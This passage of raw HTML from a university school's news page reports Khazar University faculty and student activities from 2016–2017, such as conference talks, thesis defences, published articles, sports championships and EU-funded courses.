held</em></strong></p><ul></ul><div><p style=\"text-align:justify\">On 19 May, 2017, the initial discussion of a PhD thesis of&nbsp;Jabir Mammadov Oruj, an employee of Khazar University and a PhD candidate of the Institute of Philosophy within Azerbaijan National Academy of &nbsp;Sciences was held. The research work is entitled as \"The Tragedy problem in Aesthetics” (Specialty: 721101-Aesthetics). Prof. Ilham Mammadzadeh, Doctor of Science in Phlosophy, director of the Institute of Philosophy, was a chairman of the meeting.</p></div><p><strong><em style=\"color:#660066\">Faculty&nbsp;Staff Member at Ordu University</em></strong></p><h5><ul></ul></h5><p style=\"text-align:justify\">On May 11, 2017, Melek Kerimova, Assistant Dean of the School of Humanities and Social Sciences, Director of Khazar Psychological Services Center, participated at the 9th International Congress of Educational Research&nbsp;coordinated by Ordu University, Turkey and ERA (Education Research Association). She introduced her research work entitled “Connection between Internet Addiction of University Students and its Psychological Symptoms”. The research work conducted among the university students investigates the connection between internet addiction and various sub-scales (somatization, obsession, depression, anxiety, phobia, paranoia, psychoticism). The presentation was greeted with great interest and suggestions were made on conducting intercultural researches.At the end, Melek Kerimova was presented with a certificate and a book covering the delivered speeches.1254 researchers from 12 countries took part at the Ninth International Congress of Educational Research organised by Ordu University and ERA (Education Research Association) in Ordu, Turkey, on May 11-14.</p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">Faculty Staff Member at International Conference</em></strong></p><h5><ul></ul></h5><p style=\"text-align:justify\">&nbsp;On May 13, 2017,Melek Kerimova, Assistant Dean of the School of Humanities and Social Sciences, Director of Khazar Psychological Services Center, participated at the international conference “Quest For Beauty In Science, Culture And Arts\". It was organised by International Rating Academia and Kepez Municipality. Melek Kerimova presented her thesis entitled \" Masters and their personal psychological characteristics\". The research work investigating art, personal qualities of masters, the influence of art on personality and personalities reflection in artworks was greeted with great interest.At the end, Melek Kerimova was presented with a certificate.</p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">Khazar University Staff Members at Republican Scientific-Practical Conference</em></strong></p><ul></ul><p style=\"text-align:justify\">On May 11-12, 2017,instructors of English Language and Literature Department Irina Orujova, Elmira Aliyeva, Zamira Gurbanova (PhD student), Gulnaz Novruzzadeh (PhD student), Milana Abbasova PhD student and&nbsp; Minor Programs Coordinator of&nbsp; the Department and Valida Karimova, PhD student&nbsp;and Dean\'s assistant of School of Humanities and Social Sciences, participated at the Republican Scientific-Practical Conference held with coordination of the Ministry of Education of Azerbaijan Republic and Azerbaijan University of Languages. The conference entitled&nbsp; \"Actual problems of teaching foreign languages\" was dedicated to the 80th anniversary of the establishment of AUL.&nbsp;Theses of the above mentoned instructors entitled “Обучение стилистическому приему сравнение на уроках художественного перевода (на материале рассказов Э.Хемингуэя)\"(Irina Orujova), “Дискурс и коммуникативная компетенция” (Elmira Aliyeva), “Azərbaycan və ingilis dillərində inkarlıq kateqoriyası” (Gulnaz Novruzzadeh), “Sosial şəbəkələrin tələbələrin ingiliscəsinə təsiri” (Milana Abbasova), “Analyzing the features of Publicist style. Political metaphor in the media” (Valida Karimova) were delivered during the conference.The conference covered topics such as challenges encountered in learining, teaching foreign languages, the role of &nbsp;ICT in the study of English language, the concept of meaning in language learning and so on. Afgan Abdullayev, the acting rector of AUL and Fakhraddin Veysalli, professor of the department of Linguistics, made speeches as well.&nbsp;At the end of the conferenc, the participants were presented certificates and a book covering the delivered speeches.</p><p style=\"color:#660066\"><strong><em><br></em></strong></p><p style=\"color:#660066\"><strong><em>Faculty\'s&nbsp;Jean Monnet Conference on the EU-Azerbaijan Relations</em></strong></p><ul></ul><p style=\"text-align:justify\">On May 10, 2017, the Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations in the framework of Europe Day celebrations in cooperation with the European Union Delegation in Azerbaijan.Prof. Hamlet Isakhanli, the founder of Khazar University, the Chairman of its Board of Directors and Truestees, welcomed the conference participants and highlighted the international cooperation projects of the university.Mr. Denis Daniilidis, theFirst Counselor of the EU Delegation to Azerbaijan, stressed the positive trend in bilateral relations between the EU and Azerbaijan boosted by the visit of President Ilham Aliyev to Brussels in February 2017 and spoke about the launch of negotiations for a New Comprehensive Agreement. He informed the audience that the first draft text of negotiations originated from the Azerbaijani government which reflects the principles of differentiation and mutual respect between both sides. Mr. Daniilidis also welcomed the resumption of the inter-parliamentary cooperation between the European Parliament and Milli Mejlis of Azerbaijan.Mr. Orkhan Zeynalov, Head of Division for Cooperation with the EU at the Azerbaijani Ministry of Foreign Affairs, talked about the prospects of bilateral cooperation in areas such as education and science. Mr. Zeynalov also underscored the progress on the Southern Gas Corridor. In his capacity as the Key Negotiator for the part of the agreement on sectorial cooperation, Mr. Zeynalov informed that the first round of negotiation that took place in Baku in late April, 2017 was very constructive and reflected the political willingness of both sides to enhance cooperation in new areas.&nbsp;Ms. Vusala Gurbanova, Senior Adviser of the Department of Science, Higher and Secondary Education at the Ministry of Education, highly appreciated the support of EU for the internationalization of the higher education in Azerbaijan. She noted that Khazar University is particularly active in international cooperation projects. Ms. Gurbanova also informed the audience about the activities carried out to improve the university study programs.&nbsp;Dr. Mukhtar Hajizada, Jean Monnet Chair and the Head of the Department of Political Science and International Relations informed the participants about the EU-related courses and research at the department. He informed that the department regularly hosts a series of events, including the one titled European Seminars, delivered by authoritative experts, practitioners, scholars and professors in EU matters to share their expertise with the Azerbaijani audience. Dr. Hajizada highlighted the necessity of promoting the understanding between the communities in the EU and Azerbaijan and welcomed the activities carried out to improve the existing sufficient conditions for it. He mentioned the importance of the agreement between the European Union and the Republic of Azerbaijan on the facilitation of the issuance of visas which came into effect in 2014. He drew attention to the importance of EU`s increasing its influence and peaceful intentions in Azerbaijan. Unlike many countries in the neighborhood, there is no EU Resource and Information Centre in Azerbaijan. Therefore Dr. Hajizada mentioned the need for more quantitative interactions and more qualitative communications.The conference followed by the Model European Union simulation on “Negotiation and Decision Making in the European Council” by the students of departments of Political Science, International Relations and European Studies on energy cooperation and TAP project.</p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">Conference Held at Khazar University in Turkish Media</em></strong></p><h6><ul></ul></h6><p style=\"text-align:justify\">As it was reported, on April 22-23, 2017, the IV International Psychology Conference was held at Khazar University.&nbsp; On April 29, an article of Ayla Turkoy, who participated in the conference, about the conference was published on the website of BİA News Center in Istanbul (BİAQAM).The article is available at the following link:<a href=\"http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda\">http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda</a></p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">The Next Article of fcaulty\'s&nbsp;PhD candidate Published</em></strong></p><p style=\"text-align:justify\"><strong style=\"text-align:justify\"><em style=\"color:#660066\"></em></strong><span style=\"text-align:justify\">The article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled “Typological characteristics of Discourse” ( In English) was published in the 2nd&nbsp;issue of the “Scientific News” of Azerbaijan University of Languages which is recommended for the periodic scientific publications of Higher Attestation Commission. The paper covers the issues related with different types (newspaper, political, legal, literary, academic or scientific etc.) of discourse from pragmatic and cognitive perspective of the discourse participants.&nbsp; It reveals that characteristic feauture of newspaper, political, legal, literary, academic </span><span style=\"text-align:justify\">discourse is argumentation&nbsp; based on cause- effect relations.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"><br></span></p>  <p><strong><em style=\"color:#660066\">IV International Conference on Psychology</em></strong></p><ul></ul><p style=\"text-align:justify\">On April 22-23, 2017, IV International Conference on Psychology was held at&nbsp;“Nefchiler” campus of Khazar University with the coordination of the University`s Psychology Department and Psychological Counseling Center. &nbsp;Participants included specialists from various regions of the country and people who are interested in the related field. The conference was attractive to many participants because of the tightly interwoven practical and theoretical knowledge it offers.&nbsp; On April 22, the conference’s official opening was held and lectures were presented. On April 23, the participants took part in the workshops.Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences as well as Director of Khazar Psychological Services Center, opened the conference and gave the floor to Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. Then Prof. Dr. Ali Kemal Tekin from Oman took the floor. During the conference, lectures were presented by local and Turkish guest psychologists and psychiatrists who spoke about various fields of psychology. &nbsp;Conference participants included Assistant Professor Dr. Ayten Zara, Istanbul Bilgi University; &nbsp;Pr.Dr. Ali Kemal Tekin, Sultan Qaboos University, Head of the Department of Early Childhood Education, UNESCO Consultant; &nbsp;Pr.Dr. Yashar Ozbay, Vice-rector of Hasan Kalyoncu University,&nbsp; academician at Black Sea Technical University and &nbsp;Pr. Dr. Burhanettin Kaya, an expert on psychiatry in&nbsp; Medical Center for Individual Therapy in Antalya. Associated Prof. Dr. Ayten Zara participated in the conference with a 6- people team called “World Human Relief”. The members of this team Dilan Bozdagh, Seher Tarhan, Esra Zirhlioghlu, Tugce Merve Aytac, Narli Yildiz, and Kader Tarhan delivered their speeches.The topics discussed during the conference included causes and ways of preventing aggressive, antisocial, emotional behavioral disorders in children, positive&nbsp; development and stability of family, sexual abuse and exploitation of children, trauma and&nbsp; using EMDR methods in disorders associated with it.At the end of the conference, all the participants were awarded a certificate.A concert program by Department of Music and Fine Arts&nbsp;was introduced to the conference participants.</p><p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">Faculty Member’s Article Published in Russia</em></strong></p><ul></ul><p style=\"text-align:justify\">The article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled&nbsp;<em>“Развитие иностранных языков как способ общественной дипломатии”</em>&nbsp;was published in 14th&nbsp;issue of the scientific journal “<em>Молодой ученый</em>” printed in Kazan, Tatarstan (Russian Federation).The research deals with a foreign language as means of communication, contrasts language and communication, expands on language usage aims in contemporary world.</p>  <p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">HSS Faculty Member’s Article Published in America</em></strong></p><ul></ul><p style=\"text-align:justify\">In March 2017, the article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled “Language Ethics: Linguo Psychology And Psycholinguistics; Analysis of The Language With Psychological Problems” was published in the scientific journal \"Psychology and Behavioral Sciences\" by the publishing house “Science Publishing Group”.The main objectives of the research work are to give brief information about schools and directions in psycholinguistics, to investigate the essence of language, its functions, principles and techniques, as well as, provide brief and essential information to people on how to perceive, comprehend and produce language. The article, analyzing the main concepts of the fields of psychology and linguistics, covers language and speech pathology, language psychology,language learning and behaviour, and &nbsp;&nbsp;cognitive sciences.</p><p><strong><em style=\"color:#660066\"><br></em></strong></p><p><strong><em style=\"color:#660066\">Faculty employee’s article published</em></strong></p><ul></ul><p style=\"text-align:justify\">On March 30, 2017, an article authored by Valide Karimova, Khazar university doctoral student and assistant to the dean of the School of Humanities and Social Sciences, entitled “Aesthetic Theory in Literary Criticism” was published in the&nbsp;<em>Scientific News</em>&nbsp;<em>Journal</em>&nbsp;of Sumgait State University.&nbsp;The article is an analysis of the use of the aesthetic concept in literary criticism; it also contains discussions and findings of previous studies.&nbsp;</p><p><br></p>  <p><strong><em style=\"color:#330066\">School\'s&nbsp;student won European Championship</em></strong></p><p style=\"text-align:justify\">On February 17-24, 2017, a European Sanshou Tournament was held in Lutsk, Poland. Firudin Hasanov, third-year student of Khazar University’s School of Humanities and Social Sciences majoring in translation studies, took first place and earned a gold medal in the event (85 kg).&nbsp;We note that Firudin Hasanov is a winner of several international championships. He has been the Azerbaijani champion of his category 6 times and has won a gold medal in the 2013 European Championship in Bulgaria and in the 2015 tournament in Baku; and a silver medal in the 2016 adult world kickboxing championship in Kharkov.&nbsp;Athletes from 17 countries participated in the Lutsk tournament. In addition to Firudin, nine athletes from Azerbaijan participated in the event. They have won a total of 9 medals in their weight classes, 6 gold and 3 silver.&nbsp;</p>  <p><em><strong style=\"color:#330033\"><br></strong></em></p><p><em><strong style=\"color:#330033\">“Panzer” became Champion</strong></em></p><p style=\"text-align:justify\">On February 18, 2017, the final match of the university-wide football championship organized by Khazar University Student Union took place. The championship started as a competition of ten teams. As two of the teams never participated in the matches, eight teams were competing for the championship trophy.&nbsp;“Panzer” and “International stars” played the final match on February 18. The match ended with a score of 4-1 – “Panzer” became the champion of the 2016/17 academic year.&nbsp;</p>  <p><br></p><p><strong style=\"text-align:justify\"><strong>FALL-2016</strong>&nbsp;</strong></p><p><strong><em style=\"color:#330066\">“Disabilities and Attitudes Toward Them” Article Contest Winners Announced</em></strong></p> <p style=\"text-align:justify\">On December 28, 2016, a closing ceremony was held for the “Disabilities and Attitudes Toward Them” article contest which was held by Khazar University Psychological Services Center and the Center for Students with Disabilities. During the event, Rima Mammadova, project manager of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project and coordinator of the Center for Students with Disabilities, made a presentation about the project and the Center. Melek Karimova, Director of the Psychological Services Center, spoke about disabilities, their characteristics and attitudes toward them. She also gave information to participants about the Khazar Psychological Services Center. Then the top 8 winners of the article contest, which began in October, were announced. First place went to Samir Imanov, second place to Kamale Resulova, and third place to Elshan Daghlar. At the end of the event, Samir Imanov spoke about the contest and the book he had written. Other participants in the event included representatives from partners in the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project including Sumgayit State University, Azerbaijan State Economics University, Scientific Research and Training Center of the Ministry of Labor and Social Protection of the Population of the Azerbaijan Republic, Khazar University faculty and staff members, and other guests.&nbsp;</p>  <p><em><strong style=\"color:#330066\"><br></strong></em></p><p><em><strong style=\"color:#330066\">School of Humanities and Social Sciences and School of Engineering and Applied Sciences Meet with Alumni</strong></em></p><p style=\"text-align:justify\">On December 22, 2016, the university administration held a meeting with fourteen 2016 bachelor-level graduates of the School of Humanities and Social Sciences as well as five graduates of the School of Engineering and Applied Sciences. Participants in the meeting included President Hassan Niknafs; Professor Mahammad Nuriyev, Vice President for Academic Affairs; Associate Professor Jabir Khalilov, Dean of the School of Humanities and Social Sciences; and Baba Bayramli, Director of the Center for Alumni Relations. The objective of the meeting was to maintain relationships with alumni and discuss their future plans. At the end of the meeting, alumni shared their thoughts and impressions of the university.</p><p><em><strong style=\"color:#330066\"><br></strong></em></p><p><em><strong style=\"color:#330066\">“Towards Perfection” Event</strong></em></p><p style=\"text-align:justify\">On December 14, 2016, the Khazar University Psychological Services Center held an event entitled “Towards Perfection” upon popular demand of the students. The goal of the event was to get young people interested in a healthy lifestyle, proper nutrition, avoidance of bad habits, fitness, and psychological health by showing them examples.The main lecturer was Fovqi Efendiyev, graduate of the nutritional engineering program at Middle East Technical University in Turkey.During the event, students learned how to attain their ideal weight, what is good nutrition, and how to break bad habits.</p>  <p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong><em style=\"color:#330066\"><br></em></strong></p><p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:normal;background:white\"\"=\"\"><strong><em style=\"color:#330066\">Faculty Student Earns Silver Medal in World Championship</em></strong></p> <p style=\"text-align:justify\"><span style=\"font-family:\'Times New Roman\', serif;color:#252525\">On December 5-7, 2016, an adult world kickboxing championship was held in Kharkov, Ukraine. Firudin Hasanov, third-year student of Khazar University’s School of&nbsp;</span><span style=\"font-family:\'Times New Roman\', serif;color:#252525\">Humanities and Social Sciences majoring in translation studies, took second place and earned a silver medal in the event.&nbsp;</span>We note that Firudin Hasanov is a winner of several international championships. He has been the Azerbaijani champion of his category 6 times and has won gold medals in European and Eurasian competitions. &nbsp;</p><p><strong><em><br></em></strong><strong style=\"color:#330066\"><em>Faculty Members’ Articles Accepted to International Conference in Turkey</em></strong> <span style=\"color:#330066\">&nbsp;</span></p><p style=\"text-align:justify\">Articles by Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences, and Valida Karimova, Assistant to the Dean of the School of Humanities and Social Sciences, were accepted to an international conference (ICQH) which was held in Sakarya, Turkey on November 24-25, 2016. Participants in the conference included researchers from America, Germany, Malaysia and other countries.Melek Karimova presented her article on “Misbehavior in the classroom: Perspectives of Azerbaijani teachers,” and Valida Karimova presented her article on “Possibility of foreign languages in the education system of Azerbaijan: Analysis of the best foreign language among students in higher private educational institutions,” at the conference remotely via video presentations.&nbsp;</p><p><strong>Melek Karimova&nbsp;-&nbsp;</strong><a href=\"https://www.youtube.com/watch?v=HbMmE9_6bN4\">https://www.youtube.com/watch?v=HbMmE9_6bN4</a></p><p><a href=\"https://www.youtube.com/watch?v=HbMmE9_6bN4\"></a><strong>V</strong><strong>alida Karimova&nbsp;-&nbsp;</strong><a href=\"https://www.youtube.com/watch?v=7Je-1gq7bGw\">https://www.youtube.com/watch?v=7Je-1gq7bGw</a></p><p><br></p><p><em><strong style=\"color:#330066\">Assistant to Dean Publishes Book in Germany</strong></em></p><p style=\"text-align:justify\">On October 19, 2016, Valida Karimova, Assistant to the Dean of Humanities and Social Sciences at Khazar University, published her book entitled “Metaphor in Political Discourse” (ISBN 978-3-659-97239-3) through Lambert Academic Publishing in Saarbrücken, Germany. Lambert Academic Publishing, which covers 40 countries and150,000 writers, suggested publication when they saw Karimova’s article on <em>“The English Language for Global Communication: Perspective of Youth”</em> (No. 348, March 2016, pp. 70\\ ISSN 2218-2772, <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a>) in the Khazar Review journal. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The book “Metaphor in Political Discourse” was published in two languages and contains 53 pages. The book discusses main concepts of the linguistic aspects of metaphor, its use as a subject in political discourse, research on metaphor in English language, its political expression in media, and other characteristics of metaphor and political expression. The book was also included in a book fair in Frankfurt.&nbsp;<a href=\"https://www.morebooks.de/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3\">https://www.morebooks.de/store/ru/book/metaphor-in-political-discourse/isbn/978-3-659-97239-3&nbsp;</a></p><p><br></p><p><strong>SPRING-2016</strong>&nbsp;</p><p><strong><em style=\"color:#330066\">Simulation at Khazar in the Press&nbsp;</em></strong></p><p>On May 18, 2016, Khazar University’s Department of Political Science and International Relations began a simulation game on “Madrid Principles in Resolving the Mountainous Karabakh Conflict” in its Conflict Studies class. Information about the simulation was published on the&nbsp;<em><strong>azpress.az</strong></em>&nbsp;news site and is available (in Azerbaijani) at the following link: <a href=\"http://azpress.az/index.php?lang=az&amp;sectionid=news&amp;id=53478\"><strong>http://azpress.az/index.php?lang=az§ionid=news&amp;id=53478</strong></a><strong></strong> &nbsp; <span style=\"color:#000000\">Faculty Members at International Conference in Samsun, Turkey</span> On May 3-9, 2016, Melek Karimova (PhD student), Vice Dean of the School of Humanities and Social Sciences, and Valida Karimova (PhD student), Research Assistant for the School, participated in the 6th International “Psychological Counselling and Guidance: Working through our life goals” Conference held in Samsun with the invitation of the Samsun City National Education Administration and the Samsun Canik District Municipality. Along with local participants, the conference included over 500 participants from various countries. Melek Karimova presented a paper on “Education in Azerbaijan: Psychological Counselling and Guidance in Azerbaijan.” She also led a workshop on “Children with Disabilities and Psychological Services to their Families.” She also became a member of a scientific organization for foreign countries at the conference. Valida Karimova was also invited by the Samsun Canik District Municipality to participate under the “Working through our life goals” theme. She successfully made presentations and took part in many workshops. At the end of the conference, participants were given certificates. &nbsp; Khazar Student Writes about Depression in Men On May 2, 2016, the xalqxeber.az news site published an article by Narmin Guliyeva, student of Khazar University’s School of Humanities and Social Sciences, entitled “Depression in men: they are more likely to commit suicide.” The full text of the article is available at the following link: <a href=\"http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html\">http://xalqxeber.az/sosial/359509-kishilerde-depressiya-onlar-intihara-daha-chox-meyl-edir.html</a>&nbsp;</p><p><strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Faculty Member Prepares Psychological Test</em></strong>&nbsp;</p><p>On May 2, 2016, the mir.com news site published an article entitled “What percent of Azerbaijani Students have Internet Addiction?” based on the research of Melek Kerimova, instructor for the Psychology Department within the Khazar University School of Humanities and Social Sciences, and Turkish expert Selim Gunuc, in which they adapted a test on internet addiction for use in Azerbaijan. More information about the test and its results are available at the following link: <a href=\"https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html\">https://wsemir.com/xeberler/tehsil/66256-azerbaycanda-telebelerin-nece-faizinde-internet-asililigi-var.html</a></p><br><div><strong><br></strong></div><div><strong style=\"color:#330066\"><em>Staff Members at Conference</em></strong></div><div><br></div><div>Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili, Dean’s Assistant, participated in the “Current Problems of Philology\"&nbsp;Conference which was held on April 30, 2016 at Baku Slavic University. At the conference, Valida Karimova presented an article on&nbsp;“Globally Bridging: I Speak Your Language,” while Lamiya Hajili presented “Tarixə Nəzərən Təhsilin Anlami” in Azerbaijani (Understanding Education from a Historical Perspective). At the end of the conference, the participants were awarded with certificates and&nbsp;books of the published conference materials.</div>\r\n<div><strong><br></strong></div><div><strong><br></strong></div><em style=\"color:#330066\"><strong>Staff Members Present at IV International Scientific Conference held at Qafqaz University</strong></em><div>Valida Karimova, PhD student in Linguistics and Research Assistant for the School of Humanities and Social Sciences, and Lamiya Hajili,&nbsp;<strong>Master’s student in&nbsp;Monitoring and Evaluation in Education,</strong>&nbsp;participated in the \"IV International Scientific Conference of Young Researchers\"&nbsp;which was held on April 29, 2016 at Qafqaz University. The objective of the conference was to raise interest among young people in science, to bring together young researchers and scientists from various universities, centers, and institutions, and to create the opportunity for them to share their experiences with others, analyze the problems they face, discuss common problems and put forward proposals. At the conference, Valida Karimova presented an article on “Linguistic Nature of Metaphor,” and Lamiya Hajili presented “Ənənəvi və Müasir Anlamda Təhsil” (Education in Traditional and Modern Views). At the end of the conference, the participants awarded with certificates and two- volume&nbsp;books of conference materials. &nbsp;</div><div><strong><br></strong></div><div><strong><br></strong></div><em><strong style=\"color:#330066\">Azerbaijan’s III International Psychology Conference</strong></em><div><strong><br></strong></div>On April23-24, 2016, Azerbaijan’s III International Psychology Conference was held on the Neftchilar campus of Khazar University. It was organized by the university’s Psychology Department and Career Center. Participants included specialists and amateurs from various regions of the country. The conference was attractive to many participants because of the tightly interwoven practical and theoretical knowledge it offers. On April 23, the conference’s official opening was held, including keynote lectures. On April 24, participants split up into workshops. Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences as well as Director of Khazar Psychological Services Center, opened the conference and gave the floor to Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. Then expert psychiatrist Ikram Rustamov gave a speech. During the conference, lectures were presented by local and Turkish guest psychologists and psychiatrists who spoke about various areas of psychology. Speakers included Professor Tuncay Ergene of Hacettepe University; Professor Mehmet Eskin of Adnan Menderes University; Professor Ceylan Das, Founder of Gestalt Association; Associate Professor Selim Gunuc of Yuzuncu il University; and Associate Professor Ramin Aliyev of Hasan Kalyoncu University. Topics discussed during the conference included test anxiety, internet addiction, stages of psychological consultation, homosexuality, and invincibility. Participants had the opportunity to gain new knowledge in the field of psychology, learn from the experience of experts, see new perspectives, make comparisons, and network with students and instructors from various universities. At the end of the conference, every participant was awarded a certificate.<br><p>&nbsp;<br>\r\n<strong style=\"color:#330066\"><em>Department Chair Awarded Associate Professor Title</em></strong>&nbsp;</p><p>Zulfiyya Sadigova, Head of the Department of Music and Fine Arts at Khazar University, was awarded the title of Associate Professor by an order of the Higher Attestation Commission of the President of the Azerbaijan Republic on February 29, 2016. On March 31, 2016, Z. Sadigova was given an Associate Professor certificate. We congratulate her and wish her further success.</p><p>&nbsp;<br>\r\n<strong style=\"color:#330066\"><em>EMBER Project: Course on Vegetarianism Completed</em></strong>&nbsp;</p><p>On March 18, 2016, participants of the course on Vegetarianism delivered by a visiting professor from the University of Łódź (Poland) were awarded with certificates for their participation in the course. The course entitled “Vegetarianism. Philosophical Aspects” provided the students with information on philosophical aspects of vegetarianism, its types, arguments for and against it, historical background, and modern approaches to this practice. The course was delivered by Dr. Janusz Ciuciura who holds a PhD in Philosophy from the University of Łódź in frame of the EMBER (Erasmus Mundus Broadening Educational Opportunities) project funded by the European Commission. Dr. Ciuciura will continue his cooperation with Khazar University through the EMBER project; new courses are planned for the months of April and May. The EMBER project is a consortium comprised of twenty partner higher education institutions and four associated partners from Western/Central/Eastern Europe and the South Caucasus. The focus areas of the project are the fields of economics, business, languages, and sociology. The EMBER Project at Khazar University is coordinated by Ms. Turan Jafarova, Director of the International Affairs Office.</p><p><br>\r\n<strong><em style=\"color:#330066\">Our Faculty Member\'s International Title Registered by Government, Publicized on News Sites</em></strong>&nbsp;</p><p>Dr. Mukhtar Hajizada, Head of the Department of Political Science and International Relations at Khazar University, was awarded the world-recognized Jean Monnet Chair for his academic activity and professionalism in the educational field of European Union Integration which was registered by the Ministry of Justice of the Azerbaijan Republic on March 18, 2016 (with registration number 13/16/1112-A7-477/X/B1). The registration was publicized on many news sites; including the following: <a href=\"http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011\">http://azertag.az/xeber/Azerbaycanli_alim_nufuzlu_beynelxalq_mukafata_layiq_gorulub-938011</a> &nbsp; <a href=\"http://sia.az/az/news/social/535389\">http://sia.az/az/news/social/535389</a> &nbsp; &nbsp; &nbsp;&nbsp;</p><p style=\"color:#330066\"><strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>Training Seminar for Khazar University instructors in ESFIDIP Project</em></strong>&nbsp;</p><p>On March 16, 2016, a training seminar for Khazar University instructors was held within the framework of the “Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” (ESFIDIP) TEMPUS project. The training was led by Melek Karimova, Vice Dean of the School of Humanities and Social Sciences, who taught the participants about different types of disabilities, approaches to them, and related teaching methods. The event included an interactive discussion and a question-and-answer session.&nbsp;<br>\r\n<strong><em><br></em></strong></p><p style=\"color:#330066\"><strong><em>EMBER Project: Visiting Professor Delivers Course on Vegetarianism</em></strong>&nbsp;</p><p>On March 11, 2016, a visiting professor from the University of Łódź (Poland) delivered the first lecture for the course entitled “Vegetarianism. Philosophical Aspects.” The course is offered to students of Khazar University during the month of March by Dr. Janusz Ciuciura of the University of Łódź in the framework of the EMBER (Erasmus Mundus Broadening Educational Opportunities) project funded by the European Commission. Dr. Ciuciura holds a PhD in Philosophy (2005, University of Łódź) and has extensive teaching experience. The EMBER project is a consortium that is comprised of twenty partner higher education institutions and four associated partners from Western/Central/Eastern Europe and the South Caucasus. The focus areas of the project are the fields of economics, business, languages, and sociology. The EMBER Project at Khazar University is coordinated by Ms. Turan Jafarova, Director of the International Affairs Office.<br>\r\n<strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">“Interacting with Difficult People” Seminar</em></strong>&nbsp;</p><p>On March 9, 2016, the Khazar University Psychology Services Center held a seminar on interacting with difficult people. The training was led by Khazar University instructors Melek Kerimova and Narmin Osmanli. The topics covered included relational disorders, ego, personality types, identity, self-esteem, temperament, and effective methods of communication with “difficult” people. At the end of the event, participants asked questions and gave feedback.<br>\r\n<strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">Faculty Student’s Article on Stress</em></strong>&nbsp;</p><p>On March 8, 2016, an article entitled “Problems Caused by Stress” by Narmin Guliyeva, student of the Khazar University School of Humanities and Social Sciences, was published on the islaminsesi.org website. The article was co-authored by psychologist Elnur Rustamov, Director of the Psychology and Consulting Center. The full text of the article is available at the following link:<a href=\"http://www.islaminsesi.org/stressin-yaratdigi-problemler--38258.html\">http://www.islaminsesi.org/stressin-yaratdigi-problemler--38258.html</a>&nbsp;</p><p><br>\r\n<strong style=\"color:#330066\"><em>Master Theses Defended</em></strong>&nbsp;</p><p>On March 7, 2016, the following students of the Psychology Department defended their master theses: Ganira Isgandarova on “The Implementation of Psychological Assistance Programs for the Refugees of Azerbaijan, Armenia and the Daghlig Karabakh conflict” (supervisor: Elmina Kazimzade); Nurana Guliyeva on “The Problem of Autism, Symptoms, and Methods of Correction in Azerbaijan” (supervisor: PhD Eldar Shahgaldiyev); Aydan Khasmammadzade on “Psychological Disorders in Personality Caused by Psychoactive Substances” (supervisor: PhD Azad Manuchehri Lalei); and Sevinj Ahmadova on “The relationship between smoking and depression among young male students” (supervisor: PhD Laman Verdiyeva). The Committee included Dr Jabir Khalilov, Dr. Eldar Shahgaldiyev, Dr. Laman Verdiyeva, Dr. Malak Karimova, Dr Araz Manuchehri and commities secretary PhD std, Valida Karimova. The theses were assessed positively. Defense council members recommended Ganira Isgandarova’s thesis entitled “The Implementation of Psychological Assistance Programs for the Refugees of Azerbaijan, Armenia and the Daghlig Karabakh conflict” for publication.<br>\r\n<strong><em><br></em></strong></p><p><strong><em style=\"color:#330066\">Master Theses Defended</em></strong>&nbsp;</p><p>On March 3, the following students of the English language and Literature Department defended their master theses: Yegana Baghirova on “Linguistic features of infinitive and infinitive construction in English (some means of their transfer into Azerbaijani language),” Nargiz Mirzayeva&nbsp; on “Comparative Analysis of&nbsp; P.B Shelley’s and John Keats’s Literary Creativity, Leyla Huseynli&nbsp; on “Analysis of Metaphors and Similes in Azerbaijani Translation in the novel Great Expectations by Charles Dickens,” and Marina Latifova on “Stylistic devices in Scott Fitzgerald’s The Great Gatsby and means of their interpretation into the Russian language.” After a discussion about the dissertation themes, the dissertations were positively evaluated.&nbsp;The Committee included Professor Baylar Hajiyev, Dr. Eldar Shahgaldiyev, Dr. Dilbar Zeynalova, Dr. Reyhan Madatova, Eynur Mehdiyev, Jamala Mammadova, Lala Gamidova, and Ilham Taghiyev. The students answered the committee members’ questions 